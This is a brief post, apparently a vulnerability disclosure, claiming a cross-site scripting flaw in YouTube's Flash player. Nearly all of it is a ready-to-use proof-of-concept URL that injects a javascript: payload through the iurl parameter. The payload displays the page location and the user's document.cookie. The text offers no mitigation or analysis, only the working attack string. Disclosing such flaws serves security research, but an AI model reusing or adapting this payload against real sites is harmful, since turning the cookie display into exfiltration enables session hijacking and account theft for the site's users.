The following URL will cause javascript to execute in the context of youtube

http://www.youtube.com/p.swf?video_id=eVFF98kNg8Q&eurl=&t=&iurl=javascript:alert('Javascript%20executed!\r\n\r\nLocation:
'%2bwindow.location%2b'\r\n\r\nCookie: '%2bdocument.cookie)

Cheers

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